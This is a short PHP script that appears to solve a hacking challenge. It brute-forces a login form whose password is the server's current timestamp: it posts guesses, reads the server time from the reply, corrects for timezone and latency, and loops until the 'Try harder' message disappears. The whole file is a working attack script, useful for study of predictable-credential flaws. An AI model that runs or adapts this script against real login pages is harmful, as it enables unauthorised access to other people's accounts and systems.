<?php
$hackmeurl = $argv[1]; //input the url here
$timezone = 7*60*60; //servertime seems to be UTC+9, because i'm in germany it's +7h for me.

//--------------------- Nothing to edit here
$time=time(); // just a start...gets changed to servertime later on
$latenz = 0; // latency is going to be calculated automatically, based on 2 consecutive requests
do {
    // Create the context for the request
    $context = stream_context_create(array(
        'http' => array(
            // http://www.php.net/manual/en/context.http.php
            'method' => 'POST',
            'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
            'content' => 'user=abcde&pass='.($time+$latenz+$timezone)
        )
    ));

    echo 'Trying pass: '.($time+$latenz)."\n";

    $response = file_get_contents($hackmeurl, FALSE, $context);

    preg_match('/<h3>(.*?)<\/h3>/i',$response,$m);
    echo "\tExpected pass: ".(strtotime($m[1])+$timezone)."\n";
    $latenz = strtotime($m[1])-($time);
    $time = strtotime($m[1]);

    echo "DONE\n";
} while(strpos($response,'Try harder'));

print $response;